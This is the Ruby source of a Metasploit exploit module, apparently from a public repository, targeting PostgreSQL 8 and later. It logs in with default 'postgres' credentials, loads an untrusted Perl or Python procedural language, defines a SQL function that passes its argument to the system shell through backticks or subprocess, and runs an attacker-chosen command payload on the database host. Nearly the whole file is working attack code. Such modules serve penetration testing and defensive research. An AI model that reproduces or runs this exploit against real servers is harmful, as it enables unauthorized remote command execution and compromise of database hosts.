275 lines
8.1 KiB
Ruby
275 lines
8.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/postgres'
|
|
|
|
class Metasploit4 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Postgres
|
|
include Msf::Auxiliary::Report
|
|
|
|
# Creates an instance of this module.
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
|
|
'Description' => %q(
|
|
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
|
|
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
|
|
To execute system commands, loading the "untrusted" version of the language is necessary.
|
|
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
|
|
and has been tested on OS X, Windows, and Linux.
|
|
|
|
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
|
|
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
|
|
|
|
Only Postgres 8 and up are supported.
|
|
),
|
|
'Author' => [
|
|
'Micheal Cottingham', # author of this module
|
|
'midnitesnake', # the postgres_payload module that this is based on
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
|
|
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
|
|
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
|
|
],
|
|
'Platform' => %w(linux unix win osx),
|
|
'Payload' => {
|
|
'PayloadType' => %w(cmd)
|
|
},
|
|
'Arch' => [ARCH_CMD],
|
|
'Targets' => [
|
|
['Automatic', {}]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jan 1 2016')
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('USERNAME', [true, 'The username to the service', 'postgres']),
|
|
OptString.new('PASSWORD', [true, 'The password to the service', 'postgres'])
|
|
], self.class)
|
|
|
|
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
|
end
|
|
|
|
def check
|
|
version = postgres_fingerprint
|
|
|
|
if version[:auth]
|
|
version_match = version[:auth].match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
|
|
major_version = version_match['major_version']
|
|
|
|
if major_version.to_i >= 8
|
|
return CheckCode::Appears
|
|
|
|
else
|
|
print_error 'Unsupported version'
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
else
|
|
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
|
|
return CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
version = do_login(username, password, database)
|
|
|
|
case version
|
|
when :noauth
|
|
print_error 'Authentication failed.'
|
|
return
|
|
|
|
when :noconn
|
|
print_error 'Connection failed.'
|
|
return
|
|
|
|
else
|
|
print_status "#{rhost}:#{rport} - #{version}"
|
|
end
|
|
|
|
version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
|
|
major_version = version_match['major_version']
|
|
extension = 'LANGUAGE'
|
|
|
|
if major_version.to_i == 8
|
|
print_status 'Selecting version 8 payload'
|
|
extension = 'LANGUAGE'
|
|
|
|
elsif major_version.to_i >= 9
|
|
print_status 'Selecting version 9 payload'
|
|
extension = 'EXTENSION'
|
|
|
|
else
|
|
print_error 'Unsupported version - exploit failed'
|
|
return false
|
|
end
|
|
|
|
print_warning 'This exploit does not clean up after itself - you will need to do that manually'
|
|
|
|
# Attack!
|
|
begin
|
|
func_name = Rex::Text.rand_text_alpha(10)
|
|
|
|
languages = %w(perl python python2 python3)
|
|
loaded = false
|
|
|
|
languages.each do |language|
|
|
load_lang = create_language(language, extension)
|
|
human_language = language.capitalize.to_s
|
|
|
|
print_status "Attempting to load #{human_language}"
|
|
|
|
case load_lang
|
|
when 'exists'
|
|
print_good "#{human_language} is already loaded, continuing"
|
|
create_function(language, func_name)
|
|
loaded = true
|
|
|
|
when 'loaded'
|
|
print_good "#{human_language} was successfully loaded, continuing"
|
|
create_function(language, func_name)
|
|
loaded = true
|
|
|
|
when 'not_exists'
|
|
print_status "#{human_language} could not be loaded"
|
|
|
|
else
|
|
print_error 'No exploit path found'
|
|
return false
|
|
end
|
|
|
|
break if loaded
|
|
end
|
|
|
|
if loaded
|
|
# Known bug: When using the cmd/unix/python*, ruby*, or bash payloads, it'll say
|
|
# "NoMethodError undefined method `+' for nil:NilClass"
|
|
# But the exploit and payload work just fine. I'm open to suggestions on why and how to fix - @micheal
|
|
select_query = postgres_query("SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')")
|
|
|
|
case select_query.keys[0]
|
|
when :conn_error
|
|
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
|
|
|
|
when :sql_error
|
|
print_error "Exploit failed"
|
|
return false
|
|
|
|
when :complete
|
|
print_good 'Starting payload'
|
|
end
|
|
|
|
else
|
|
return false
|
|
end
|
|
|
|
rescue RuntimeError => e
|
|
print_error "Failed to create UDF: #{e.class}: #{e}"
|
|
end
|
|
|
|
postgres_logout if @postgres_conn
|
|
end
|
|
|
|
def create_function(language, func_name)
|
|
load_func = ''
|
|
|
|
case language
|
|
when 'perl'
|
|
load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$" \
|
|
"`$_[0]`;" \
|
|
"$$ LANGUAGE pl#{language}u")
|
|
|
|
# Ruby doesn't do case folding ... :/
|
|
when 'python'
|
|
load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" \
|
|
"import subprocess, shlex\r" \
|
|
"subprocess.check_output(shlex.split(c))\r" \
|
|
"$$ LANGUAGE pl#{language}u")
|
|
|
|
when 'python2'
|
|
load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" \
|
|
"import subprocess, shlex\r" \
|
|
"subprocess.check_output(shlex.split(c))\r" \
|
|
"$$ LANGUAGE pl#{language}u")
|
|
|
|
when 'python3'
|
|
load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" \
|
|
"import subprocess, shlex\r" \
|
|
"subprocess.check_output(shlex.split(c))\r" \
|
|
"$$ LANGUAGE pl#{language}u")
|
|
|
|
else
|
|
print_error 'Invalid language'
|
|
end
|
|
|
|
case load_func.keys[0]
|
|
when :conn_error
|
|
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
|
|
|
|
when :sql_error
|
|
print_error "#{rhost}:#{rport} Exploit failed"
|
|
return false
|
|
|
|
when :complete
|
|
print_good 'Loaded UDF'
|
|
end
|
|
end
|
|
|
|
def create_language(language, extension)
|
|
load_language = postgres_query("CREATE #{extension} pl#{language}u")
|
|
|
|
if load_language.keys[0] == :sql_error
|
|
match_exists = load_language[:sql_error].match(/language "pl#{language}u" already exists/m)
|
|
|
|
if match_exists
|
|
return 'exists'
|
|
|
|
else
|
|
match_error = load_language[:sql_error].match(/(could not access file|unsupported language)/m)
|
|
|
|
if match_error
|
|
return 'not_exists'
|
|
end
|
|
end
|
|
|
|
else
|
|
return 'loaded'
|
|
end
|
|
end
|
|
|
|
# Authenticate to the postgres server.
|
|
# Returns the version from #postgres_fingerprint
|
|
def do_login(user, pass, database)
|
|
begin
|
|
password = pass || postgres_password
|
|
|
|
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
|
|
|
result = postgres_fingerprint(
|
|
db: database,
|
|
username: user,
|
|
password: password
|
|
)
|
|
|
|
if result[:auth]
|
|
return result[:auth]
|
|
|
|
else
|
|
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
|
|
return :noauth
|
|
end
|
|
|
|
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
|
return :noconn
|
|
end
|
|
end
|
|
end
|